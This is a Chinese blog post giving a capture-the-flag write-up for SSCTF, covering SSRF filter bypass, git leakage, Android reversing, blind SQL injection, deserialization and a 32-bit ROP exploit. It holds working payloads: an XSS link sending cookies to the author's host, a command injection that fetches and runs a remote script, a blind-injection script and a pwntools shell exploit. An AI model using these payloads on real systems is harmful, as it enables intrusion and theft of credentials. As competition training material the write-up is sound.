关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
SSCTF writeup
无
245
0
0
mut3p1g
## 签到 先是4层栅栏解密,可以看到花括号括起来了,而且前面是5个字符 ``` ggqht{ggQht_gsQ10jsf#@fopwh} ``` 然后再凯撒一下就ok了 ``` ROT-12: ssctf{ssCtf_seC10ver#@rabit} ``` ## misc100 首先打开包,发现请求的都是一个`.nijiakadaye`目录,里面内容其实是`.git`的只是改了一下文件名 然后访问该目录发现存在,于是就可以git泄露了 ``` http://60.191.205.87/.nijiakadaye/ ``` 泄露后可以找到flag.txt然而并不对,查看一下历史修改记录 ``` git log -p ``` ![](https://leanote.com/api/file/getImage?fileId=590d6962ab644166f8002886) 可以发现flag.txt和pass.php被进行修改,而pass.php就是对flag.txt的加密过程,用的是RC4算法 所以直接再加密一次即可得到原来的flag了。 ## web100 进去后就是个SSRF ``` http://120.132.21.19/news.php?url=127.0.0.1 ``` 然后提示内网是`10.23.173.*`,于是可以扫到`10.23.173.190` 接着就又是个SSRF,不过可以带协议 ``` http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=127.0.0.1 ``` 但是有过滤 ``` <?php if (isset($_GET['url'])) { $link = $_GET['url']; $link = str_replace("dict","_", $link); $link = str_replace("file","_", $link); $link = str_replace("ftp","_", $link); $link = str_replace("ftps","_", $link); $link = str_replace("gopher","_", $link); $link = str_replace("http","_", $link); $link = str_replace("https","_", $link); $link = str_replace("imap","_", $link); $link = str_replace("imaps","_", $link); $link = str_replace("ldap","_", $link); $link = str_replace("ldaps","_", $link); $link = str_replace("pop3","_", $link); $link = str_replace("pop3s","_", $link); $link = str_replace("rtmp","_", $link); $link = str_replace("rtsp","_", $link); $link = str_replace("smtp","_", $link); $link = str_replace("smtps","_", $link); $link = str_replace("telnet","_", $link); $link = str_replace("tftp","_", $link); $link = str_replace(".a","_", $link); $link = str_replace(".b","_", $link); $link = str_replace(".c","_", $link); $link = str_replace(".d","_", $link); $link = str_replace(".f","_", $link); $link = str_replace(".g","_", $link); $link = str_replace(".h","_", $link); $link = str_replace(".i","_", $link); $link = str_replace(".k","_", $link); $link = str_replace(".l","_", $link); $link = str_replace(".m","_", $link); $link = str_replace(".n","_", $link); $link = str_replace(".o","_", $link); $link = str_replace(".q","_", $link); $link = str_replace(".r","_", $link); $link = str_replace(".s","_", $link); $link = str_replace(".u","_", $link); $link = str_replace(".v","_", $link); $link = str_replace(".w","_", $link); $link = str_replace(".x","_", $link); $link = str_replace(".y","_", $link); $link = str_replace(".z","_", $link); $curlobj = curl_init($link); curl_setopt($curlobj, CURLOPT_FILE, $fp); curl_setopt($curlobj, CURLOPT_HEADER, 0); curl_exec($curlobj); curl_close($curlobj); } ?> ``` 于是大写可以绕过,最后根据提示 ![](https://leanote.com/api/file/getImage?fileId=590e715bab644166f8003dca) 可以得到 ``` http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=FTP://172.17.0.2/flag.txt ``` 得到flag。 ## web200 上去是个弹弹幕的,和BCTF2015的webchat很像,但是并不是XSS->SQL,但是还是可以用这个来连接http://ironwasp.org/cswsh.html 一连接上去就有这么一个信息过来 ![](https://leanote.com/api/file/getImage?fileId=590d6f88ab64416a62002a2d) 可以看到有个`xssHentai`,账户密码都是admin,进去查看cookie就知道咋得到flag了 ![](https://leanote.com/api/file/getImage?fileId=590d70c1ab64416a62002a49) 可以看到输入格式是这样的: ![](https://leanote.com/api/file/getImage?fileId=590d71f3ab644166f8002924) 而我们要xss的就是id=1的了 ``` http://117.34.71.7/xssHentai/request/1/?body=%3Csvg/onload=%22location.href=%27http://mutepig.club:11111?%27%2bdocument.cookie%22%3E ``` 然后接受flag就行了 ## rev100 纯Java层的代码,直接一点一点分析就行了。 首先要知道这个应用是干嘛的,通过题目描述知道这是一个勒索软件,读一下代码发现需要输入密码并且会对文件进行加密。 一开始是要输入一个6位数密码,所以这里应该是可以爆破的,不过还是先看看逻辑 首先看onCreate函数,大概逻辑是先输入一个值,然后获取配置文件获取是否加密的标志`isEncrypted`,默认是没有加密所以上来就会通过输入的密码来把`ctf1.xlsx`加密。 然后如果加密了,那么就会用check2来判断密码是否正确。 ![](https://leanote.com/api/file/getImage?fileId=590d7ca5ab64416a62002bda) 这里当然给我们的文件是加密后的,我们要做的就是要获得正确的密码接着将文件解密。 然后就是加密函数了,可以发现这个加密解密函数其实是一样的,所以直接对再加密一次就可以了 ![](https://leanote.com/api/file/getImage?fileId=590d7d87ab64416a62002bee) 那么获得密码最简单的方法还是爆破了,然后这里可以不管check2,直接用check1暴力生成文件,然后用file查看是不是xlsx文件就可以了。 直接把反编译的java代码复制过来,稍微加几句话就可以了 ``` protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); for (int i = 100000; i < 999999; i ++){ this.num = String.valueOf(i); check(this.num); } } ``` 最后可以查看到flag ![](https://leanote.com/api/file/getImage?fileId=590dbfccab64416a620032ec) 这里比较坑的一个问题就是读文件不管怎么设置权限都没用,所以最后我把文件放到了`assets`里面,然后读文件代码就是这样了 ``` public byte[] getFromAssets(String fileName){ byte[] result = new byte[0]; try { InputStream in = getAssets().open(fileName); int lenght = in.available(); byte[] buffer = new byte[lenght]; in.read(buffer); return buffer; } catch (Exception e) { e.printStackTrace(); } return result; } ``` ## web500 进去就给的github链接,然后有一个python的源码,下载下来可以得到题目的网址为http://webhook.ssctf.seclover.com:8000 然后开始源码审计 ![](https://leanote.com/api/file/getImage?fileId=590dc0baab64416a6200330d) 访问跟页面需要身份认证,认证的代码在这里。 ![](https://leanote.com/api/file/getImage?fileId=590dc17fab64416a6200332b) 密码写在`repos.json`里面,而且还有一个`SECRET_KEY`都是不知道的,想从这里下手就比较难了,看看有没有不许要认证的。 那么看看不需要身份认证的 ![](https://leanote.com/api/file/getImage?fileId=590dc258ab64416a62003344) 一个是日志,可以直接访问;还有一个就是添加repo,可以将一些数据写入`repos.json`,但同样需要`SECRET_KEY`来验证输入。 ![](https://leanote.com/api/file/getImage?fileId=590dc258ab64416a62003345) 然后看看其他代码,下面一个是push操作,可以将一个存在的repo记录到webhooklog里面 ![](https://leanote.com/api/file/getImage?fileId=590dc70eab644166f8003290) 构造一下是这样的,注意要是json的包 ![](https://leanote.com/api/file/getImage?fileId=590dc70eab644166f800328f) 然后最后进入到build函数,那么这个函数作为我们唯一的输入可控的函数应该就是切入点了。 然后可以看到这里存在命令执行 ![](https://leanote.com/api/file/getImage?fileId=590deaedab644166f80035d0) branch是我们可控的,然后找到一个在repos里面存在的即可,通过日志可以发现flag是存在的,于是可以利用这个反弹shell。 然后就被修复了。。万恶的主办方 ![](https://leanote.com/api/file/getImage?fileId=590deaedab644166f80035d1) 修改是把branch强行变成了master 但是没关系,key没变,还能通过URL进行命令执行 ``` http://webhook.ssctf.seclover.com:8000/addrepo?repo=mutepig2&key=ebb336a44e16dba80f88848345fd6dce&url=https%3A%2f%2fgithub.com%2ftest%2fmutepig2.git%3Bcd%20%2ftmp%20%26%26%20wget%20%27http%3A%2f%2f23.105.201.24%2f.x.py%27%20%26%26%20python%20.x.py%20%26&pass=123 ``` 然后把flag这个git项目打包下来查看日志,可以看到git项目 ``` "flag": {"url": "https://git.coding.net/ljgame/flag.git", "pass": "fd2b0837a302de544dcefbf1bb3e0bf6"} ``` 然后就没有什么特殊的东西了 查看home目录下的,发现www-data下面有个ssh,而项目是coding的,coding可以通过ssh来登陆git https://coding.net/help/doc/git/ssh-key.html 然后直接登陆下载项目就好了,把私钥放到.ssh目录下然后设置成600就行了 ``` ssh -T git@git.coding.net git clone git@git.coding.net:ljgame/flag.git ``` 然后项目下就有flag.txt,查看就可以了 ## rev200 看着类很多,实际上有用的就四个 ![](https://leanote.com/api/file/getImage?fileId=590dfc24ab644166f80036e9) 然后第三个是点击触发器,输入12个字符然后进行变幻后再判断 ![](https://leanote.com/api/file/getImage?fileId=590dfba4ab64416a620037fa) `JniTest`就是个native函数,主要是对输入进行了个encode操作,然后返回一个byte数组 ![](https://leanote.com/api/file/getImage?fileId=590e0408ab64416a620038b7) 关键还是类a里面的函数,我把代码翻译了一下,主要操作是这样的 ``` (Encrypt.cmp(Encrypt.hex(JniTest.getValue(paramView.getBytes("utf-8"))), "01635e6c5f2378255f27356c11663165")) ``` 首先是hex,就是将byte数组转化成16进制字符串 然后就是cmp了,这个比较复杂得好好看看 ``` public static boolean cmp(String arg8, String arg9) { boolean v0 = false; try { String v4 = unionString(md5(arg8), arg8); String v5 = unionString(md5(arg9), arg9); if(v4.length() < v5.length()) { return v0; } int v3 = 0; int v2 = 0; while(v3 < v4.length()) { int v1_1 = (v5.charAt(v3) ^ v4.charAt(v3)) + v3 ^ v3; // 每一位进行比较,异或起来为0则表示相等 v2 += v1_1; while(v1_1 > 0) { v2 += v5.charAt(v1_1) + v4.charAt(v1_1); --v1_1; } ++v3; } v0 = a.md5(String.valueOf(v2)).equals("cfcd208495d565ef66e7dff9f98764da");//v2=0 } catch(Exception v1) { v1.printStackTrace(); } return v0; } ``` 所以这一步就是一个单纯的比较而已,所以关键还是要把encode逆向出来直接对后面那个字符串进行解密就行了 可以先用python把encode函数复现一下,方便逆向 ``` #!/usr/bin/env python # encoding: utf-8 str = "123456789000" s = "!:#\x24%&()+-*/`~_[]{}?<>,.@^abcdefghijklmnopqrstuvwxyz012345678`" length = 12 resLen = 12 / 3 if length % 3: resLen += 1 result = [0 for i in xrange(4*resLen)] j = 0 for i in xrange(0,length,3): tmp = ord(str[i]) result[j] = ord(s[tmp >> 2]) ^ 0x3f v11 = 16 * tmp & 0x3f v12 = ord(str[i+1]) result[j+1] = ord(s[(v12 >> 4) + v11 ])^0xf v13 = ord(str[i+2]) v14 = 4*v12 & 0x3f + (v13 >> 6) result[j+2] = ord(s[v14]) v15 = v13 & 0x3f result[j+3] = ord(s[v15]) i += 3 j += 4 print ''.join([chr(i) for i in result]).encode("hex") ``` 现在逻辑就很清晰了,再写个逆向程序就可以了 ``` #!/usr/bin/env python # encoding: utf-8 def check(i): return (i<=10 or i>=127) str = "5f302b7a412b3c32417567355f2b2177" str = "01635e6c5f2378255f27356c11663165" s = "!:#\x24%&()+-*/`~_[]{}?<>,.@^abcdefghijklmnopqrstuvwxyz012345678`" length = 12 result = [] ans = '' for i in xrange(0,len(str),2): result.append(int(str[i:i+2],16)) j = 0 print result for i in xrange(0,length,3): tmp = [-100 for i in xrange(4)] res0 = s.index(chr(result[j]^0x3f)) tmp[0] = res0*4 tmp[1] = res0*4+1 tmp[2] = res0*4+2 tmp[3] = res0*4+3 v11 = [] for i in tmp: if check(i): continue v11.append((16 * i) & 0x3f) res1 = s.index(chr(result[j+1]^0xf)) v12 = [] for i in v11: v12tmp = [] for k in xrange(16): v12tmp.append((((res1-i)<<4)+k)) v12.append(v12tmp) v14 = s.index(chr(result[j+2])) v15 = s.index(chr(result[j+3])) v13 = [] for i in xrange(4): for k in v12[i]: if check(k): continue V13 = v14 - (4*k)&0x3f for z in xrange(64): v13tmp = (V13 << 6 )+ z if (v13tmp)&0x3f == v15 and not check(v13tmp): index = i index12 = v12[i].index(k) v13.append(v13tmp) j += 4 ans += chr(tmp[index])+chr(v12[index][index12])+chr(v13[0]) print ans ``` 得到最终的password为`VVe1lD0ne^-^`,输入后就能弹出flag了。 ## web300 可以通过第一题来读题目源码,然后发现好多静态页面,就submit这里是动态的 ``` view-source:http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=File:///var/www/submit.php ``` 然后分析一下代码,发现好像是xss,然后这里就过滤了`$str = addslashes($xss);` ``` <?php header("CONTENT-TYPE:text/html;charset=UTF-8"); define("HOST","127.0.0.1"); define("USERNAME","root"); define("PASSWORD",""); $con=new mysqli(HOST,USERNAME,PASSWORD,"ctf1"); if(!$con){ echo $con->error; exit("aaaa"); } if(!$con->select_db("ctf1")){ echo $con->error; } if(!$con->query("SET NAMES utf8")){ echo $con->error; } $xss=$_POST["sub"]; $str = addslashes($xss); /**********鑾峰彇IP************/ class Action { function get_outer() { $url = 'http://www.ip138.com/ip2city.asp'; $info = file_get_contents($url); preg_match('|<center>(.*?)</center>|i', $info, $m); return $m[1]; } function get_inter() { $onlineip = ''; if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) { $onlineip = getenv('REMOTE_ADDR'); } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) { $onlineip = $_SERVER['REMOTE_ADDR']; } return $onlineip; } } $p = new Action(); $intip = $p->get_inter(); $outip2= $intip; @mkdir("/tmp/ids",0777,true); $sql="insert into ctf1(xss,ip,time,wai_ip) values('$str','$intip',NOW(),'$outip2')"; if($str=$con->query($sql)){ echo "<script>alert('success');window.location.href='index.php'</script>"; $insertid = mysqli_insert_id($con); file_put_contents("/tmp/ids/".$insertid,"a"); } else { echo "<script>alert('fail');</script>"; } ?> ``` 然后可以XSS来获得管理员的页面,得到之 ``` http://127.0.0.1/admin/b9557ee76eeb61cadda090855a47d266-1.php?id=78531 ``` 然后读这个 ``` view-source:http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=File:///var/www/admin/b9557ee76eeb61cadda090855a47d266-1.php ``` 发现有个`js.php`很可疑,读了后得到flag ``` view-source:http://120.132.21.19/news.php?url=10.23.173.190/news.php?url=File:///var/www/admin/js.php ``` ## misc150 下载下来又是个流量包,然后把文件导出来有很多,binwalk一看每个都有压缩包,直接全部解压出来 ``` binwalk -e * ``` ## web500_2 这个上来就能用awvs扫到一个注入,然后直接跑password,不过or被过滤了一次用passoorrd绕过就行了 ``` # coding: utf-8 import requests pay = '"%%2b((select(ascii(substr(group_concat(passwoorrd),%d,1))))>%d)%%2b"' #pay = "0'or(((select(ord(substr(group_concat(md5_key),%d,1)))from(sourcekey))>=%d))#" url = "http://payment.bctf.xctf.org.cn/index.php/admin" r = requests.session() url = "http://60.191.205.80/picture.php?id=" def Blind_Inject(N): global ans i = 0 j = 128 while i<=j: mid = (i+j)/2 payload=pay%(N,mid) print i,j,url + payload ret = r.get(url + payload).content if "Picture not found!" in ret: j = mid-1 else:i = mid+1 return i ans ='' for i in range(1,100): ans += chr(Blind_Inject(i)) print 'ans',i,ans print ans ``` 然后进去后给了token,加上源码很容易分析出来是个反序列化,由于进的比较早出题者的poc没删,于是直接改成ssctf_flag.php就行了,secret很好解决就不说了 ``` <?php class Read{//ssctf_flag.php public $file; public function __toString(){ if(isset($this->file)){ if("ssctf_flag.php"===$this->file) { exit(); } else { echo file_get_contents($this->file); } } return "you are big Hacker"; } } function ssctf_unserialize($value) { preg_match('/[oc]:\d+:/i', $value,$matches); if(count($matches)){ return false; } return unserialize($value); } ?> ``` ![](https://leanote.com/api/file/getImage?fileId=590ebbefab64416a62004ae3) ## pwn2 ``` from pwn import * from struct import pack #io = process('./250') io = remote('60.191.205.81',2017) context.log_level = 'debug' pause() # Padding goes here p = '' p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb060) # @ .data p += pack('<I', 0x080b89e6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb064) # @ .data + 4 p += pack('<I', 0x080b89e6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x080493a3) # xor eax, eax ; ret p += pack('<I', 0x080549bb) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080eb060) # @ .data p += pack('<I', 0x080df1b9) # pop ecx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x0806efbb) # pop edx ; ret p += pack('<I', 0x080eb068) # @ .data + 8 p += pack('<I', 0x080493a3) # xor eax, eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0804e7d2) # inc eax ; ret p += pack('<I', 0x0806cbb5) # int 0x80 payload = 'a' * 0x3a payload += 'bbbb' payload += p io.recvuntil('SSCTF[InPut Data Size]') io.sendline(str(len(payload))) io.recvuntil(']') io.send(payload) io.interactive() ``` # misc 互相伤害!!! 一个pcap包,里面可以提取出很多的文件 biwalk发现里面有两个隐藏的zip,第一个zip是没有密码的,第二个zip是存在密码的。 现在就是要找到zip的密码。 然后在图片里发现 ![](https://leanote.com/api/file/getImage?fileId=590f1ebfab644166f8005a7a) 这个里面也有个二维码,我们扫描一下,得到 U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7 bE9uL8lW/KLfbs33aC1XXw== 根据旁边的aes...... 我们用CTF作为密钥,解出668b13e0b0fc0944daf4c223b9831e49 然后用它作为密码,得到一个大的qrcode。 中间有一个小的qrcode ![](https://leanote.com/api/file/getImage?fileId=590f1ebfab644166f8005a7b) 反色后扫描得到flag flag{97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758}
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.